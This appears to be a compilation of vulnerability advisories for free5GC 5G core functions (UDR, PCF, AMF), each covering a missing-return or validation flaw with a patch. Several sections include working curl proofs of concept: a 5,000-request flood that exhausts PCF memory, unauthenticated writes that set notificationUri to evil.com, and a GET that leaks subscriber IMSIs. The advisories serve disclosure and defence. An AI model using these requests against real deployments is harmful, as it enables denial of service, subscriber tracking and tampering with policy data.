Summary A fail-open request handling flaw in the UDR service causes the /nudr-dr/v2/policy-data/subs-to-notify POST handler to continue processing requests even after request body retrieval or deserialization errors.
This may allow unintended creation of Policy Data notification subscriptions with invalid, empty, or partially processed input, depending on downstream processor behavior.
Details The endpoint POST /nudr-dr/v2/policy-data/subs-to-notify is intended to create a Policy Data notification subscription only after the HTTP request body has been successfully read and parsed into a valid PolicyDataSubscription object. [file:93]
In the free5GC UDR implementation, the function HandlePolicyDataSubsToNotifyPost in NFs/udr/internal/sbi/apidatarepository.go does not terminate execution after input-processing failures. [file:93]
The request flow is:
1. The handler calls c.GetRawData() to read the HTTP request body. [file:93] 2. If GetRawData() fails, the handler sends an HTTP 500 error response, but does not return. [file:93] 3. The handler then calls openapi.Deserialize(policyDataSubscription, reqBody, "application/json"). [file:93] 4. If deserialization fails, the handler sends an HTTP 400 error response, but again does not return. [file:93] 5. Execution continues and the handler still invokes s.Processor().PolicyDataSubsToNotifyPostProcedure(c,policyDataSubscription). [file:93]
As a result, the endpoint operates in a fail-open manner: request processing may continue after fatal input validation or body handling errors, instead of being safely aborted. [file:93]
This differs from safer handlers in the same file, which use a helper pattern that explicitly returns on body read or deserialization failure before calling the corresponding processor routine. [file:93]
Security Impact This issue affects a write-capable API that creates Policy Data notification subscriptions. [file:93] Because execution continues after body read or parsing failure, the processor may receive an uninitialized, partially initialized, or otherwise unintended PolicyDataSubscription object. [file:93]
The exact runtime impact depends on downstream processor behavior and storage validation. [file:93] At minimum, this is a security-relevant robustness flaw that can lead to inconsistent request handling; under certain runtime conditions it may allow creation of invalid or unintended subscription state. [file:93]
Reproduction Status The code path has been statically confirmed. [file:93] A complete runtime proof of unintended subscription creation after GetRawData() or deserialization failure has not yet been established. [file:93]
Patch The handler should immediately terminate after sending an error response for body read or deserialization failure. [file:93]
A minimal fix is to add missing return statements in HandlePolicyDataSubsToNotifyPost:
go reqBody, err := c.GetRawData() if err != nil { logger.DataRepoLog.Errorf("Get Request Body error: %+v", err) pd := openapi.ProblemDetailsSystemFailure(err.Error()) c.Set(sbi.INPBDETAILSCTXSTR, pd.Cause) c.JSON(http.StatusInternalServerError, pd) return }
err = openapi.Deserialize(&policyDataSubscription, reqBody, "application/json") if err != nil { logger.DataRepoLog.Errorf("Deserialize Request Body error: %+v", err) pd := util.ProblemDetailsMalformedReqSyntax(err.Error()) c.Set(sbi.INPBDETAILSCTXSTR, pd.Cause) c.JSON(http.StatusBadRequest, pd) return } Additionally, the deserialization call should pass a pointer to the destination object so that the parsed body is written into the intended structure. [file:93]
###Details The issue is compounded by the handler's deserialization call, which passes policyDataSubscription directly to openapi.Deserialize(...) instead of passing a pointer to the destination object. This inconsistent usage further increases the risk that request processing continues with an empty, partially initialized, or otherwise unintended subscription object. [file:93]
Summary
A memory leak vulnerability in the free5GC PCF (Policy Control Function) allows any unauthenticated attacker with network access to the PCF SBI interface to cause uncontrolled memory growth by sending repeated HTTP requests to the OAM endpoint. The root cause is a router.Use() call inside an HTTP handler that registers a new CORS middleware on every incoming request, permanently growing the Gin router's handler chain. This leads to progressive memory exhaustion and eventual Denial of Service of the PCF, preventing all UEs from obtaining AM and SM policies and blocking 5G session establishment.
Details
File: free5gc/pcf/internal/sbi/apioam.go Function: setCorsHeader(), called by HTTPOAMGetAmPolicy()
The function setCorsHeader() invokes s.router.Use() on every incoming HTTP request:
go func (s Server) setCorsHeader(c gin.Context) { // BUG: router.Use() inside a handler — executes on every request s.router.Use(cors.New(cors.Config{ AllowMethods: []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"}, AllowAllOrigins: true, AllowCredentials: true, MaxAge: CorsConfigMaxAge, })) // Redundant manual header setting c.Writer.Header().Set("Access-Control-Allow-Origin", "") c.Writer.Header().Set("Access-Control-Allow-Credentials", "true") // ... }
func (s Server) HTTPOAMGetAmPolicy(c gin.Context) { s.setCorsHeader(c) // ← called on every GET /npcf-oam/v1/am-policy/:supi // ... } In the Gin framework, router.Use() appends a new HandlerFunc to the router's internal middleware slice. This operation is not idempotent — it does not replace existing middleware but appends a new instance on every call. After N requests, Gin executes N CORS middleware instances before reaching the actual handler:
Request N → [corsmw1 → corsmw2 → ... → corsmwN → actualhandler]
Since s.router holds a permanent reference to the accumulated middleware slice, the Go garbage collector cannot free this memory. The additional issue of AllowAllOrigins: true combined with AllowCredentials: true also constitutes a CORS misconfiguration (forbidden by the CORS specification), though this is secondary to the memory leak.
Fix: Move router.Use(cors.New(...)) to the server initialization function (called once at startup), and remove setCorsHeader() from all handlers entirely:
go // ✅ server.go — called once at startup func (s Server) initRouter() { s.router.Use(cors.New(cors.Config{ AllowMethods: []string{"GET", "POST", "OPTIONS", "PUT", "PATCH", "DELETE"}, AllowOrigins: []string{"https://trusted-origin.example.com"}, AllowCredentials: false, MaxAge: CorsConfigMaxAge, })) } PoC
Environment: - free5GC v4.2.1 (commit df535f55, build 2026-03-04) - PCF container IP: 10.22.22.6, port 80 - Attacker: any container on the same Docker network (tested from UDM container) - No authentication required (OAuth2 disabled)
Step 1 — Record memory baseline: bash docker stats --no-stream | grep pcf Output: 24.86 MiB
Step 2 — Launch flood from attacker container: bash for i in $(seq 1 5000); do curl -s http://10.22.22.6/npcf-oam/v1/am-policy/imsi-222771234567890 > /dev/null & [ $((i % 100)) -eq 0 ] && wait && echo "[] $i req sent" done wait
Step 3 — Monitor memory growth: bash watch -n 2 "docker stats --no-stream | grep pcf"
Results:
| Requests sent | PCF Memory | Delta | |---------------|------------|------------| | 0 (baseline) | 24.86 MiB | — | | ~5,000 | 46.48 MiB | +21.62 MiB | | ~10,000 | 58.59 MiB | +12.11 MiB | | ~15,000 | 70.30 MiB | +11.71 MiB | | ~100,000 (projected) | ~170+ MiB | OOM kill |
Memory never returns to baseline between request batches, confirming permanent retention by the router's middleware chain.
Impact
Vulnerability type: Uncontrolled Resource Consumption (Memory Exhaustion) leading to Denial of Service.
Who is impacted: Any deployment of free5GC where the PCF OAM interface is reachable from the internal 5G core network. Since all 5G core NFs share the same Docker network by default, any compromised or attacker-controlled NF container can trigger this vulnerability without credentials.
5G service impact: The PCF is responsible for providing AM (Access and Mobility) policies to the AMF and SM (Session Management) policies to the SMF. A DoS of the PCF prevents: - New UE registrations (AM policy creation fails) - New PDU session establishment (SM policy creation fails) - Policy updates for existing sessions
In a production deployment this would result in complete loss of 5G service for all subscribers served by the affected PCF instance.
Summary
The HTTPUEContextTransfer handler in internal/sbi/apicommunication.go does not include a default case in the Content-Type switch statement. When a request arrives with an unsupported Content-Type, the deserialization step is silently skipped, err remains nil, and the processor is invoked with a completely uninitialized UeContextTransferRequest object.
Details
In internal/sbi/apicommunication.go, the HTTPUEContextTransfer function handles the Content-Type header with a switch statement that only covers application/json and multipart/related:
go switch str[0] { case applicationjson: err = openapi.Deserialize(ueContextTransferRequest.JsonData, requestBody, contentType) case multipartrelate: err = openapi.Deserialize(&ueContextTransferRequest, requestBody, contentType) // no default case }
if err != nil { // skipped entirely when Content-Type is unsupported c.JSON(http.StatusBadRequest, rsp) return }
s.Processor().HandleUEContextTransferRequest(c, ueContextTransferRequest)
This is inconsistent with the two analogous handlers in the same file, HTTPCreateUEContext and HTTPN1N2MessageTransfer, which both correctly include a default branch:
go default: err = fmt.Errorf("wrong content type")
The fix is simply to add the same default case to HTTPUEContextTransfer.
PoC
With a free5GC deployment running, send a POST request to the UE context transfer endpoint using any unsupported Content-Type (e.g. text/plain):
bash curl -s -X POST "http://<AMFIP>/namf-comm/v1/ue-contexts/<ueContextId>/transfer" \\ -H "Content-Type: text/plain" \\ -d '{"test":"data"}' \\ -i
Expected (correct) behavior: 400 Bad Request from the SBI layer, rejecting the request due to unsupported Content-Type — consistent with HTTPCreateUEContext.
Actual (observed) behavior: The SBI-layer error check is bypassed and the processor is reached with an empty request object, returning:
HTTP/1.1 400 Bad Request {"status": 400, "cause": "MANDATORYIEMISSING"}
The MANDATORYIEMISSING cause originates from the processor's internal validation, not from the SBI handler — confirming the processor was called with an uninitialized struct.
Impact
The endpoint is an inter-NF SBI API used during AMF-to-AMF UE context handover. It is not directly reachable from external UEs and requires access to the internal 5GC SBI network. The processor's secondary mandatory field validation prevents any unintended state modification, so there is no direct exploitability. However, the SBI handler layer is the intended first line of defense — relying on the processor to compensate for a missing input check increases fragility and violates defense in depth. Any future change to the processor's validation logic could inadvertently expose the system to processing completely empty request objects.
Summary An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to create or overwrite Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details The endpoint PUT /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutin ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.gochecks whether influenceId != "subs-to-notify". 2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. 3. Execution continues, the request body is still parsed, and the handler calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdPutProcedure(c, subscriptionId, &trafficInfluSub). 4. The processor creates or updates the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still successfully create or modify the target subscription in the UDR.
The missing return after sending the 404 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication is required. The attacker can choose an arbitrary subscriptionId.
bash curl -v -X PUT "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/nuovoid" \ -H "Content-Type: application/json" \ -d '{ "notificationUri":"http://evil.com", "dnns":["internet"], "supis":["imsi-999999999999999"] }'
Response: HTTP/1.1 404 Not Found 404 page not found{"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"} Now verify that the object was actually written:
bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/nuovoid" Response: json {"dnns":["internet"],"supis":["imsi-999999999999999"],"notificationUri":"http://evil.com"} Impact This is an unauthenticated unauthorized write vulnerability. Any attacker with network access to the SBI can create or overwrite Traffic Influence Subscriptions by choosing an arbitrary subscriptionId, even when using an invalid path that should have been rejected.
This allows injection of attacker-controlled subscription data, including arbitrary SUPIs and attacker-controlled notificationUri values. Depending on deployment behavior, this may enable malicious redirection of policy-related notifications, corruption of subscription state, or disruption of legitimate network policy logic.
The attack is also difficult to detect because the API returns a misleading 404 Not Found response even when the write operation is actually performed.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdPut:
go if influenceId != "subs-to-notify" { c.String(http.StatusNotFound, "404 page not found") return } With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not create or modify subscription data.
Summary An information disclosure vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to retrieve stored subscriber identifiers (SUPI/IMSI) with a single HTTP GET request requiring no parameters or credentials.
Details The endpoint GET /nudr-dr/v2/application-data/influenceData/subs-to-notify (defined in 3GPP TS 29.519) requires at least one query parameter (dnns, snssais, supis, or internalGroupIds) to filter results.
In the free5GC UDR implementation, the input validation is present but ineffective because the handler does not return after sending the HTTP 400 error. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifyGet in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.go (around line 2793) checks whether all of dnn, snssai, internalGroupId, and supi are empty. 2. If they are all empty, it builds a problemDetails structure and calls c.JSON(http.StatusBadRequest, problemDetails) to send a 400 response, but it does not return afterwards. 3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifyGetProcedure(c, dnn,snssai, internalGroupId, supi) defined in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/processor/influencedatasubscriptionscollection.go. 4. This processor function queries the data repository and writes the full list of Traffic Influence Subscriptions to the HTTP response body, including supis fields with SUPI/IMSI values.
As a result, a request without any query parameters produces a response where the HTTP status is 400 Bad Request, but the body contains both the error object and the full subscription list.
The missing return after sending the 400 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication, no prior knowledge of any subscriber identifier required.
bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" Response (HTTP 400): json {"status":400,"detail":"At least one of DNNs, S-NSSAIs, Internal Group IDs or SUPIs shall be provided"} [{"dnns":["internet"], "snssais":[{"sst":1,"sd":"000001"}], "supis":["imsi-222777483957498"], "notificationUri":"http://pcf.../npcf-callback/v1/nudr-notify/influence-data/imsi-222777483957498/1"}]
Impact This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI (Service Based Interface) can enumerate SUPIs (Subscriber Permanent Identifiers / IMSI values) of registered users without any credentials or prior knowledge.
In a 5G network, the SUPI is the most sensitive subscriber identifier — its exposure breaks the privacy guarantees introduced by 3GPP with the SUCI (Subscription Concealed Identifier) mechanism, designed specifically to prevent SUPI tracking over the air. This vulnerability completely undermines that protection at the core network level.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Note: an additional trigger exists — sending a malformed snssai parameter also bypasses validation due to a missing return after the deserialization error handler, producing the same information disclosure.
Patch
The vulnerability has been confirmed patched by adding the two missing return statements in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifyGet:
1. After the c.JSON(http.StatusBadRequest, problemDetails) call in the snssai deserialization error branch. 2. After the c.JSON(http.StatusBadRequest, problemDetails) call in the empty parameters validation block.
With the patch applied, a request without any query parameters now correctly returns HTTP 400 with only the error message, and no subscriber data is included in the response body.
The fix has been verified: after applying the patch and recompiling the UDR, the endpoint GET /nudr-dr/v2/application-data/influenceData/subs-to-notify returns HTTP 400 with only: {"status":400,"detail":"At least one of DNNs, S-NSSAIs, Internal Group IDs or SUPIs shall be provided"} No SUPI or subscription data is leaked.
Summary An improper path validation vulnerability in the UDR service allows any unauthenticated attacker with access to the 5G Service Based Interface (SBI) to read Traffic Influence Subscriptions by supplying an arbitrary value in place of the expected subs-to-notify path segment.
Details The endpoint GET /nudr-dr/v2/application-data/influenceData/{influenceId}/{subscriptionId} is intended to only operate on Traffic Influence Subscription resources when influenceId is exactly subs-to-notify.
In the free5GC UDR implementation, the path validation is present but ineffective because the handler does not return after sending the HTTP 404 response. The request handling flow is:
1. The function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet in ./free5gc4-2-1/free5gc/NFs/udr/internal/sbi/apidatarepository.go checks whether influenceId != "subs-to-notify". 2. If the value is different, it calls c.String(http.StatusNotFound, "404 page not found"), but it does not return afterwards. 3. Execution continues and the handler still calls s.Processor().ApplicationDataInfluenceDataSubsToNotifySubscriptionIdGetProcedure(c, subscriptionId). 4. The processor retrieves and returns the subscription identified by subscriptionId even though the path is invalid and the request should have been rejected.
As a result, an attacker can send a request to an invalid path, receive an apparent 404 page not found response, and still obtain the full subscription object in the same HTTP response body.
The missing return after sending the 404 response in apidatarepository.go is the root cause of this vulnerability.
PoC No authentication is required. Only a valid subscriptionId is needed.
bash Create a subscription to obtain a valid subscriptionId curl -v -X POST "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify" \ -H "Content-Type: application/json" \ -d '{ "notificationUri":"http://evil.com/notify", "dnns":["internet"], "snssais":[{"sst":1,"sd":"000001"}], "supis":["imsi-222777483957498"] }' Example response: HTTP/1.1 201 Created
Then read it through an invalid path: bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/WRONGID/87615e16" Response: HTTP/1.1 404 Not Found 404 page not found{"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"} For comparison, the valid request is: bash curl -v "http://<udr-host>/nudr-dr/v2/application-data/influenceData/subs-to-notify/87615e16" Response: json {"dnns":["internet"],"snssais":[{"sst":1,"sd":"000001"}],"supis":["imsi-222777483957498"],"notificationUri":"http://evil.com/notify"} Impact This is an unauthenticated information disclosure vulnerability. Any attacker with network access to the SBI can retrieve Traffic Influence Subscription objects by knowing or guessing a valid subscriptionId, even when using an invalid path that should have been rejected.
The returned objects may contain sensitive subscriber-related information, including SUPIs/IMSIs, DNNs, S-NSSAIs, and callback notificationUri values.
Impacted deployments: any free5GC instance where the SBI is reachable by untrusted parties (e.g., misconfigured network segmentation, rogue NF, or compromised internal host).
Patch The vulnerability has been confirmed patched by adding the missing return statement in NFs/udr/internal/sbi/apidatarepository.go, function HandleApplicationDataInfluenceDataSubsToNotifySubscriptionIdGet: go if influenceId != "subs-to-notify" { c.String(http.StatusNotFound, "404 page not found") return } With the patch applied, requests using an invalid influenceId now correctly return HTTP 404 and do not disclose the targeted subscription data.
Summary A fail-open request handling flaw in the UDR service causes the /nudr-dr/v2/policy-data/subs-to-notify/{subsId} PUT handler to continue processing requests even after request body retrieval or deserialization errors.
This may allow unintended modification of existing Policy Data notification subscriptions with invalid, empty, or partially processed input, depending on downstream processor behavior.
Details The endpoint PUT /nudr-dr/v2/policy-data/subs-to-notify/{subsId} is intended to update an existing Policy Data notification subscription only after the HTTP request body has been successfully read and parsed into a valid PolicyDataSubscription object. [file:93]
In the free5GC UDR implementation, the function HandlePolicyDataSubsToNotifySubsIdPut inNFs/udr/internal/sbi/apidatarepository.go does not terminate execution after input-processing failures. [file:93]
The request flow is:
1. The handler calls c.GetRawData() to read the HTTP request body. [file:93] 2. If GetRawData() fails, the handler sends an HTTP 500 error response, but does not return. [file:93] 3. The handler then calls openapi.Deserialize(policyDataSubscription, reqBody, "application/json"). [file:93] 4. If deserialization fails, the handler sends an HTTP 400 error response, but again does not return. [file:93] 5. Execution continues and the handler still invokes s.Processor().PolicyDataSubsToNotifySubsIdPutProcedure(c, subsId, policyDataSubscription). [file:93]
As a result, the endpoint operates in a fail-open manner: request processing may continue after fatal input validation or body handling errors, instead of being safely aborted. [file:93]
The issue is compounded by the handler's deserialization call, which passes policyDataSubscription directly to openapi.Deserialize(...) instead of passing a pointer to the destination object. This inconsistent usage further increases the risk that request processing continues with an empty, partially initialized, or otherwise unintended subscription object. [file:93]
This differs from safer handlers in the same file, which use a helper pattern that explicitly returns on body read or deserialization failure before calling the corresponding processor routine. [file:93]
Security Impact This issue affects a write-capable API that updates Policy Data notification subscriptions identified by subsId. [file:93] Because execution continues after body read or parsing failure, the processor may receive an uninitialized, partially initialized, or otherwise unintended PolicyDataSubscription object for persistence. [file:93]
The exact runtime impact depends on downstream processor behavior and storage validation. [file:93] At minimum, this is a security-relevant robustness flaw that can lead to inconsistent request handling or unintended modification attempts; under certain runtime conditions it may allow updates that should not be processed after an input error. [file:93]
Reproduction Status The code path has been statically confirmed. [file:93] A complete runtime proof of unintended subscription modification after GetRawData() or deserialization failure has not yet been established. [file:93]
Patch The handler should immediately terminate after sending an error response for body read or deserialization failure. [file:93]
A minimal fix is to add missing return statements in HandlePolicyDataSubsToNotifySubsIdPut and pass a pointer to the destination object during deserialization: [file:93]
go reqBody, err := c.GetRawData() if err != nil { logger.DataRepoLog.Errorf("Get Request Body error: %+v", err) pd := openapi.ProblemDetailsSystemFailure(err.Error()) c.Set(sbi.INPBDETAILSCTXSTR, pd.Cause) c.JSON(http.StatusInternalServerError, pd) return }
err = openapi.Deserialize(&policyDataSubscription, reqBody, "application/json") if err != nil { logger.DataRepoLog.Errorf("Deserialize Request Body error: %+v", err) pd := util.ProblemDetailsMalformedReqSyntax(err.Error()) c.Set(sbi.INPBDETAILSCTXSTR, pd.Cause) c.JSON(http.StatusBadRequest, pd) return }